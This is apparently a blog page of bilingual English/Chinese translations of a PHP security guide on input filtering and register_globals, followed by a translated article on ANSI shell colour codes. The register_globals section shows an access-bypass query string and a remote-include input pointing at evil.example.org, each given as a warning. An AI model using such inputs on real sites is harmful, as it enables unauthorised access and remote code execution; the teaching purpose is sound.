If this is the only public PHP script, then it should be clear that the design of this application ensures that any global security measures taken at the top cannot be bypassed. It also lets a developer easily see the control flow for a specific task. For example, instead of glancing through a lot of code, it is easy to see that end.inc is only displayed to a user when $form_valid is true, and because it is initialized as false just before process.inc is included, it is clear that the logic within process.inc must set it to true, otherwise the form is displayed again (presumably with appropriate error messages).

如果这个文件是唯一的公开的 PHP 脚本，那么很明显了，这个程序的设计确保了程序开始处的全局安全措施不能被越过。这样的设计也能让开发者很容易看清楚某一个特别的任务的控制流程。例如，不用看完大段的代码，就能够很容易看到只有在 $form_valid 的值为 true 的时候，end.inc 才会展示给用户，因为在加载 process.inc 前 $form_valid 就初始化为 false 了，所以非常明显的，process.inc 中的程序逻辑必须把 $form_valid 设置为 true，否则这个表单就会重复显示（推测是为了显示错误信息）。

NOTE:

If you use a directory index file such as index.php (instead of dispatch.php), you can use URLs such as http://example.org/?task=print_form.

You can also use the Apache ForceType directive or mod_rewrite to accommodate URLs such as http://example.org/app/print-form.

备注：

如果你用的是类似于 index.php 这样的 directory index 文件 (而不是 dispatch.php)，你可以用 http://example.org/?task=print_form 这样的 URL 来访问。

你还可以用 Apache 的 ForceType 命令或者 mod_rewrite 模块重写类似http://example.org/app/print-form 这样的 URL。

The Include Method

Include 法

Another approach is to have a single module that is responsible for all security measures. This module is included at the top (or very near the top) of all PHP scripts that are public (available via URL). Consider the followingsecurity.inc script:

另外一种方法是用一个单一的模块负责所有的安全措施。在所有的公开的 PHP 脚本（就是说能够通过 URL 访问到的）的顶端（或者非常靠近顶端的地方）都调用这个模块。看下面的 security.inc 脚本：

<?php
switch ($_POST['form'])
{
case 'login':
$allowed = array();
$allowed[] = 'form';
$allowed[] = 'username';
$allowed[] = 'password';
$sent = array_keys($_POST);
if ($allowed == $sent)
{
include '/inc/logic/process.inc';
}
break;
}
?>

In this example, each form that is submitted is expected to have a form variable named form that uniquely identifies it, and security.inc has a separate case to handle the data filtering for that particular form. An example of an HTML form that fulfills this requirement is as follows:

在这个例子里，所有客户端提交的表单都应该有一个名为 form 的表单变量以唯一标示这个表单，security.inc 也有一个独立的 case 语句处理对应每一个表单特定的数据过滤。下面是一个匹配这个请求的 HTML 表单的例子：

<form action="/receive.php" method="post">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>

An array named $allowed is used to identify exactly which form variables are allowed, and this list must be identical in order for the form to be processed. Control flow is determined elsewhere, and process.inc is where the actual data filtering takes place.

这个名为 $allowed 的数组被用来准备的标示那些允许的表单变量，而且数组的元素顺序必须和要处理的表单的元素顺序完全一样。控制流程在其他的地方写，process.inc 是真正用来进行数据过滤得程序。

NOTE:

A good way to ensure that security.inc is always included at the top of every PHP script is to use the auto_prepend_file directive.

备注：

为了确保每个 PHP 脚本都在头部引用了 security.inc，有一个好方法就是使用 auto_prepend_file指令。

Filtering Examples

数据过滤实例

It is important to take a whitelist approach to your data filtering, and while it is impossible to give examples for every type of form data you may encounter, a few examples can help to illustrate a sound approach.

给你的数据过滤创建一个白名单是很重要的，既然没有办法给每种你可能遇到的表单数据类型都举一个例子，那么下面几个例子能够帮助你理解正确的数据过滤得方法。

The following validates an email address:

下面的例子是用来验证电子邮件地址的：

<?php
$clean = array();
$email_pattern =
'/^[^@\s]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
}
?>

The following ensures that $_POST['color'] is red, green, or blue:

下面一个例子确保 $_POST['color'] 的取值只能是 red、green 或 blue：

<?php
$clean = array();
switch ($_POST['color'])
{
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
}
?>

The following example ensures that $_POST['num'] is an integer:

下面的例子用来保证 $_POST['num'] 是一个整数：

<?php
$clean = array();
if ($_POST['num'] == strval(intval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>

The following example ensures that $_POST['num'] is a float:

下面的例子用来保证 $_POST['num'] 是一个浮点数：

<?php
$clean = array();
if ($_POST['num'] == strval(floatval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>

Naming Conventions

命名转换

Each of the previous examples make use of an array named $clean. This illustrates a good practice that can help developers identify whether data is potentially tainted. You should never make a practice of validating data and leaving it in $_POST or $_GET, because it is important for developers to always be suspicious of data within these arrays.

上面的所有例子都使用了一个名为 $clean 的数组。这展示了一种很好的，能够帮助开发者区分数据是否可靠的习惯。你不得再验证数据后还把这些数据留在 $_POST 或 $_GET 数组里，因为对开发者来说，不信任这些数组里的数据是很重要的。

In addition, a more liberal use of $clean can allow you to consider everything else to be tainted, and this more closely resembles a whitelist approach and therefore offers an increased level of security.

另外，一个更自由的使用 $clean 的方法就是你假设其他的所有变量都是不保险的，这更接近于使用白名单的方法，因此这样提供了一个更高的安全级。

If you only store data in $clean after it has been validated, the only risk in a failure to validate something is that you might reference an array element that doesn't exist rather than potentially tainted data.

如果你把通过验证的数据都存储在 $clean 里，那么一些变量验证失败会引起唯一的风险就是你会引用到一个空的数组元素，而不是原来那个不可靠的数据。

Timing

时序

Once a PHP script begins processing, the entire HTTP request has been received. This means that the user does not have another opportunity to send data, and therefore no data can be injected into your script (even if register_globals is enabled). This is why initializing your variables is such a good practice.

一旦 PHP 脚本开始执行，就说明整个 HTTP 请求都已经被接受了。这也就意味着用户没有机会再发送任何数据了，因此，也就无法向脚本注入任何数据（即使启用了 register_globals 选项）。所以说，初始化变量是一个很好的习惯。

PHP Security / Overview / Register Globals

nulltao@gmail.com (Wei Geng) — Mon, 26 Mar 2007 00:28:02 +0800

Register Globals

The register_globals directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with register_globals disabled.

在 PHP 4.2.0 以及更高版本里，register_globals 选项默认就是禁用的。虽然这个选项并不意味就着是安全漏洞，不过它确实是一个安全隐患。因此，你在开发、部署程序的时候应该总是禁用 register_globals 选项。

Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:

为什么说这个选项是一个安全隐患呢？如果要给所有人都讲清楚这个安全隐患，通常情况下需要给每个人一个特定的环境，所以很难找到一个适合所有人的例子。不过，PHP 手册里面的例子是最通用的：

<?php
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/highly/sensitive/data.php';
}
?>

With register_globals enabled, this page can be requested with ?authorized=1 in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not register_globals, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as $authorized in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with error_reporting set to E_ALL, so that the use of an uninitialized variable won't be overlooked during development.

如果 register_globals 启用了，那么请求这个页面的时候，在查询字符串中附加上 ?authorized=1 就能够越过预期的访问控制。当然了，这个特定的漏洞是开发者的失误，而不是 register_globals 的错误，不过这说明了直接传值所增加的风险。如果不这样做，正常的全局变量 ( 比如例子中的 $authorized ) 就不受客户端提交的数据影响了。最好的习惯就是初始化所有变量，并且在开发的时候把 error_reporting 设置成 E_ALL，这样在开发的时候就不会忽视对未初始化变量的使用了。

Another example that illustrates how register_globals can be problematic is the following use of include with a dynamic path:

下面一个例子说明了在 include 中使用动态路径的时候，register_globals 是如何出问题的：

<?php
include "$path/script.php";
?>

With register_globals enabled, this page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following:

在 register_globals 启用的情况下，在查询字符串中附加 ?path=http%3A%2F%2Fevil.example.org%2F%3F 请求页面，这个例子就和下面的代码等价：

<?php
include 'http://evil.example.org/?/script.php';
?>

If allow_url_fopen is enabled (which it is by default, even in php.ini-recommended), this will include the output of http://evil.example.org/ just as if it were a local file. This is a major security vulnerability, and it is one that has been discovered in some popular open source applications.

如果启用了 allow_url_fopen 选项（这是默认设置，即使在 php.ini-recommended 中也是），这会像包含本地文件一样包含 http://evil.example.org/ 的输出结果。这是一个严重的安全漏洞，而且存在于很多流行的开源程序里面。

Initializing $path can mitigate this particular risk, but so does disabling register_globals. Whereas a developer's mistake can lead to an uninitialized variable, disabling register_globals is a global configuration change that is far less likely to be overlooked.

初始化 $path 就能够降低这个风险，但是禁用 register_globals 效果也一样。鉴于程序员的失误能够引起未初始化的变量的错误，禁用全局变量 register_globals 可以避免这个风险被忽视。

The convenience is wonderful, and those of us who have had to manually handle form data in the past appreciate this. However, using the $_POST and $_GET superglobal arrays is still very convenient, and it's not worth the added risk to enable register_globals. While I completely disagree with arguments that equate register_globals to poor security, I do recommend that it be disabled.

这个便利性真是太美好了，尤其是我们中一些以前需要手动处理表单数据的人会很喜欢这个功能的。虽然使用 $_POST 和 $_GET 这两个超全局变量也很方便，但是还不值得冒风险去启用 register_globals。尽管我完全不赞同关于把 register_globals 和薄弱的安全性等同起来，但是我还是强烈推荐禁用这个选项。

In addition to all of this, disabling register_globals encourages developers to be mindful of the origin of data, and this is an important characteristic of any security-conscious developer.

最后要说的是，禁用 register_globals 鼓励开发者留心数据的来源，这是一个有着安全意识的开发者的一个重要的特征。

PHP Security / Overview / Basic Steps

nulltao@gmail.com (Wei Geng) — Sun, 11 Mar 2007 01:32:20 +0800

Basic Steps

基本步骤

Consider illegitimate uses of your application.

A secure design is only part of the solution. During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure.
考虑非法用户。
安全性设计仅仅是整体解决方案的一部分。在开发过程中，特别是书写代码的时候，考虑非法用户是非常重要的。通常情况下，注意力都是在如何让程序按照预期的想法工作，虽然这对交付一个能够正常运行的程序来说是必要的，但是这对让程序变安全是没有任何作用的。
Educate yourself.

The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most important step. There are numerous resources available on the Web and in print, and I mention several of these at the end of this talk.
自学。
你现在在看这本书的事实，说明了你关心安全问题，虽然就和听起来一样老生常谈，这是最重要的步骤。网上有非常多的资源，也有很多出版物，在最后我会提到一些。
If nothing else, FILTER ALL FOREIGN DATA.

Data filtering is the cornerstone of Web application security in any language and on any platform. By initializing your variables and filtering all data that comes from a foreign source, you will address a majority of security vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be proven invalid).
如果没有其他可作的，那么就*过滤所有的外来数据*。
不论什么语言，什么平台，数据过滤都是 Web 程序安全的基础。通过初始化变量和过滤所有外来数据的方式，你就能够用很小的代价定位到一个主要的安全漏洞。白名单方式要好于黑名单方式。也就是说，你应该假设所有的数据都是不合法的，除非能够证明这个数据是合法的（而不是说只要不能证明数据非法就认为是合法的。

PHP Security / Overview / What Is Security?

nulltao@gmail.com (Wei Geng) — Sun, 11 Mar 2007 01:30:07 +0800

What Is Security?

安全究竟是什么？

Security is a measurement, not a characteristic.

It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This question is as subjective as asking if something is hot.
安全是一种量度，而不是一种特征。

不过很不幸的是，很多软件项目都把安全性列为一个简单的需求。这个程序是否安全？这是一个非常主观的问题，就像问一个物品是不是热的一样主观。
Security must be balanced with expense.

It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your security needs are very demanding, because you’re protecting information that is very valuable, then you must achieve a higher level of security at an increased cost. This expense must be included in the budget of the project.
安全性要和花费想平衡。
为大多数应用程序提供足够的安全性是很简单的，也相对便宜的。不过，如果因为你要保护非常有价值的信息导致你的安全需求非常高，那么你必须要付出更多的代价以提高安全级别。这些费用必须包含在你的项目预算里面。
Security must be balanced with usability.

It is not uncommon that steps taken to increase the security of a Web application also decrease the usability. Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are necessary to provide adequate security, but there isn’t one solution that is appropriate for every application. It is wise to be mindful of your legitimate users as you implement security measures.
安全性要和易用性相平衡.
有一个很常见的现象就是，有一些步骤增强了 Web 程序的安全性，也同时降低了程序的易用性。密码、会话超时以及访问控制这些都给合法用户造成了障碍。有时候这些障碍是提供足够的安全性所必要的，但是对于每一个程序来说，这个问题没有四海一家的解决之道。所以在你实现安全措施的时候，留心合法用户的反馈是很明智的。
Security must be part of the design.

If you do not design your application with security in mind, you are doomed to be constantly addressing new security vulnerabilities. Careful programming cannot make up for a poor design.
设计必须包含安全性。
如果你一开始设计程序的时候大脑里没有安全意识的话，你的恶运来了，你要不断地定位新的安全漏洞在哪里。仔细的编程并不能弥补糟糕的设计。

lf335, SystemAdministration: 彩色的命令行 —— 使用 ANSI 色彩代码

nulltao@gmail.com (Wei Geng) — Fri, 30 Apr 2004 23:00:00 +0800

原始地址：http://www.linuxfocus.org/ChineseGB/May2004/article335.shtml

by Nico Golde
<nico/at/ngolde.de>

关于作者:

现在 Nico 还是一个学生。几年前他开始钻研 Linux，还参加了好几个开源项目。

概述
Shell 的配置
转义序列
使用 shell 的颜色
文本属性
另一个程序
C 语言示例
初始化脚本示例
反馈
对这篇文章发表评论

彩色的命令行 —— 使用 ANSI 色彩代码

摘要:

在 ANSI 兼容终端（例如 xterm、rxvt、konsole 等）里，可以用彩色显示文本而不仅仅是黑白。本文示范了如何使用粗体和彩色的文字。

_________________ _________________ _________________

概述

在现实生活中，每一位 Linux 使用者都要面对 Bash。虽然第一眼看上去非常枯燥，但是又很多方法能够让你的 shell 足够的个性化。 shell 提示符的彩色增强让能够让你的 shell 独一无二，而且还非常清晰易读。

在本文中我以 Bash shell 为例。因为在不同的终端里的转义序列不完全相同，所以在本文中我使用的是 ANSI 终端。

Shell 的配置

shell 彩色配置出现在 bash 的个人配置文件 ~/.bashrc 或者是全局配置文件 /etc/bashrc 里面。可以通过 bashrc 里面的 PS1 变量来设置提示符的外观。

通常情况下，这个条目看起来应该是这个样子：

~/.bashrc: PS1="\s-\v\$ "

\s 表示 shell 的名称，-\v 表示他的版本号。在提示符的最后面我们放置了一个 $。这样看起来也许有点乏味，所以不妨试试下面这种模式——这种模式在大多数 Linux 的发行版本下是默认的设置：

~/.bashrc: PS1="\u@\h \w \$ "

这表示用户@ 当前目录 $，这个是大部分 Linux 用户都熟悉的 shell 提示符。

转义序列

要是通过彩色化提示符来增加个性化，就要用到转义序列。转义序列就是一个让 shell 执行一个特殊步骤的控制指令。转义序列通常都是以 ESC 开头（这也是它的命名原因）。在 shell 里表示为 ^[。这种表示法需要一点时间去适应，也可以用 \033 完成相同的工作（ESC 的 ASCII 码用十进制表示就是 27， = 用八进制表示的 33）。

要直接在 shell 里面输入转义序列我们需要先按 ctrl-v： CTRL-v ESC 。

使用 shell 的颜色

下面我用一个提示符的例子来解释 shell 的颜色。

~/.bashrc: PS1="\[\033[0;32;40m\u@\h:\w\$ \]"

这样提示符就全部显示成绿色了。就像这样：

nico@ebrain:~$

\033 声明了转义序列的开始，然后是 [ 开始定义颜色。后面的 0 定义了默认的字体宽度。稍后我会介绍其他的可用字符。转义序列字符串要用 \[ 和 \] 括起来，防止转义序列的文本显示在 shell 里占用太多的空间。

下面我们要选择前景色（这里是 32，代表绿色）。背景色的 40 表示黑色。要是不想让提示符后面的文字也变成绿色，我们用 \033[0m 关闭转义序列， \033[0m 是 shell 的默认颜色。前景色和背景色都有 8 种可用的选择。

可选颜色：红色、绿色、黄色、蓝色、洋红、青色和白色。他们对应的颜色代码是：30（黑色）、31（红色）、32（绿色）、 33（黄色）、34（蓝色）、35（洋红）、36（青色）、37（白色）。

用同样色方法设置背景色，不过要把第一个数字“3”替换成“4”，例如 40、41、42、43、44、45、46、47。

示例：

~/.bashrc: PS1="\[\033[0;37;44m\u@\033[0;32;43m\h:\033[0;33;41m\w$\033[0m\]"

这给了我们一个非常多彩的提示符：

nico@

ebrain:

我们使用 export PS1="string" 来测试这些设置，稍后我们要把这些设置转移到 .bashrc 里面。现在我的提示符看起来是这个样子：

PS1="\[\033[1;34;40m[\033[1;31;40m\u@\h:\w\033[1;34;40m]\033[1;37;40m $\033[0;37;0m\] "

[ nico@ebrain:~ ]

文本属性

刚才提到了，在第一个转义序列后面的“0”是提示符的文本的默认颜色设置。对于文本属性来说，这些值是有意义的：0、1、22、4、24、5、25、7、27，分别表示：默认值、粗体、非粗体、下划线、非下划线、闪烁、非闪烁、反显、非反显。

通过下面这一段短小的脚本，我们可以看看色彩组合。

#!/bin/sh
############################################################
# Nico Golde <nico(at)ngolde.de> Homepage: http://www.ngolde.de
# Last change: Mon Feb 16 16:24:41 CET 2004
############################################################
for attr in 0 1 4 5 7 ; do
echo "----------------------------------------------------------------"
printf "ESC[%s;Foreground;Background - \n" $attr
for fore in 30 31 32 33 34 35 36 37; do
for back in 40 41 42 43 44 45 46 47; do
printf '\033[%s;%s;%sm %02s;%02s ' $attr $fore $back $fore $back
done
printf '\n'
done
printf '\033[0m'
done

这段脚本可以从 showansicol.tar.gz 下载，格式是 tar.gz 。

另一个程序

在 shell 中设置颜色不仅仅能创建更加漂亮的提示符，在编写控制台程序的时候也非常有用。

对于一个要使用彩色的程序员，就必须要使用类似 slang 或 ncurses 这样的的库，者通常会增加执行文件的大小。 Ncurses 有着或多或少的独立于终端的类型的优势。

C 语言示例

用绿色打印“Hello Word”：

#include <stdio.h>
int main(void){
const char *const green = "\033[0;40;32m";
const char *const normal = "\033[0m";
printf("%sHello World%s\n", green, normal);
return 0;
}

另外一个有用的转义序列是 printf("\033[2J") ，它和 system(clear) 完成的功能一样。但是可以不需要头文件 unistd.h 。

使用 printf("\033[1K") 可以删除一行。

初始化脚本示例

如果我们想在 /etc/init.d 的 init 脚本成功的执行后，得到一个漂亮的、清晰易读的提示，而不是一个简单的 '.' ，我们可以再一次的使用转义序列。

这是一段 cron init script 的摘录：

#!/bin/sh
# Start/stop the cron daemon.
test -f /usr/sbin/cron || exit 0
case "$1" in
start) echo -n "Starting periodic command scheduler: cron"
start-stop-daemon --start --quiet --exec /usr/sbin/cron
echo "."
;;

如果 cron 脚本执行成功就会显示一个句点。可以用 [Ok] 给这些信息添加上彩色特征，通过改变 echo 字符串，例如：

#!/bin/sh
# Start/stop the cron daemon.
test -f /usr/sbin/cron || exit 0
case "$1" in
start) echo -n "Starting periodic command scheduler: cron"
start-stop-daemon --start --quiet --exec /usr/sbin/cron
echo "\[ \033[1;34;40m[ \033[1;32;40mOk \033[1;34;40m]\033[0m\]"
;;

把这个设置应用到所有的 init 脚本上非常耗费时间，除非使用转义序列 \033 —— 因为 Ctrl-v 不是作为一个字符来处理的。

反馈

如果有任何反馈、批评、错误等，请发信到“nico at ngolde.de”。玩得开心……

nullTao | 净空无道 | Blog - TranslatioN

Read It Later 集成到 Google Reader

真实世界让你很沮丧吗？IBM 邀请你到超越时空的紫禁城一游。

地图聚合的数据格式前三名：KML、GeoRSS 和 GeoJSON

KML

GeoRSS

GeoJSON

做好准备迎接新的平台大战。Google Gears 直指微软领地

下一代 web：浏览器存储支持

PHP 基准测试

胡言乱语之男人女人

PHP Security / Sessions / Session Fixation

Session Fixation

会话固定攻击

PHP Security / Databases and SQL / SQL Injection

SQL Injection

SQL 注入

Filter your data.

过滤数据。

Quote your data.

给数据加引号。

Escape your data.

数据转义。

PHP Security / Databases and SQL / Exposed Access Credentials

Exposed Access Credentials

连接信息泄漏

PHP Security / Form Processing / Cross-Site Request Forgeries

Cross-Site Request Forgeries

跨站点请求伪造

Exploit the trust that a site has for a particular user.

利用了站点对特定用户的信任。

Generally involve Web sites that rely on the identity of the users.

通常都包含那些依赖用户身份的站点。

Perform HTTP requests of the attacker's choosing.

执行攻击者所选择的 HTTP 请求。

Use POST rather than GET in forms.

使用 POST 而不是 GET 方法提交表单。

Use $_POST rather than rely on register_globals.

使用 $_POST 变量而不要依赖 register_globals 选项。

Do not focus on convenience.

不要把注意力都集中在便利性上。

Force the use of your own forms.

注意表单的使用。

PHP Security / Form Processing / Cross-Site Scripting

Cross-Site Scripting

跨站点脚本

Exploit the trust a user has for a particular site.

利用用户对特定站点的信任。

Generally involve Web sites that display foreign data.

通常都包含哪些显示外来数据的站点。

Inject content of the attacker's choosing.

注入攻击者所选的内容。

Filter all foreign data.

过滤所有外来数据。

Use existing functions.

使用已有函数。

Use a whitelist approach.

使用白名单。

Use a strict naming convention.

使用严格的命名约定。

PHP Security / Form Processing / Spoofed HTTP Requests

Spoofed HTTP Requests

HTTP 请求欺骗

PHP Security / Form Processing / Spoofed Form Submissions

Spoofed Form Submissions

表单提交欺骗

PHP Security / Overview / Error Reporting

Error Reporting

错误报告

PHP Security / Overview / Data Filtering

Data Filtering

数据过滤

The Dispatch Method

调度法

The Include Method

Include 法

Filtering Examples

数据过滤实例

Naming Conventions

命名转换

Use `POST` rather than `GET` in forms.

使用 `POST` 而不是 `GET` 方法提交表单。

Use `$_POST` rather than rely on `register_globals`.

使用 `$_POST` 变量而不要依赖 `register_globals` 选项。

如果没有其他可作的，那么就过滤所有的外来数据。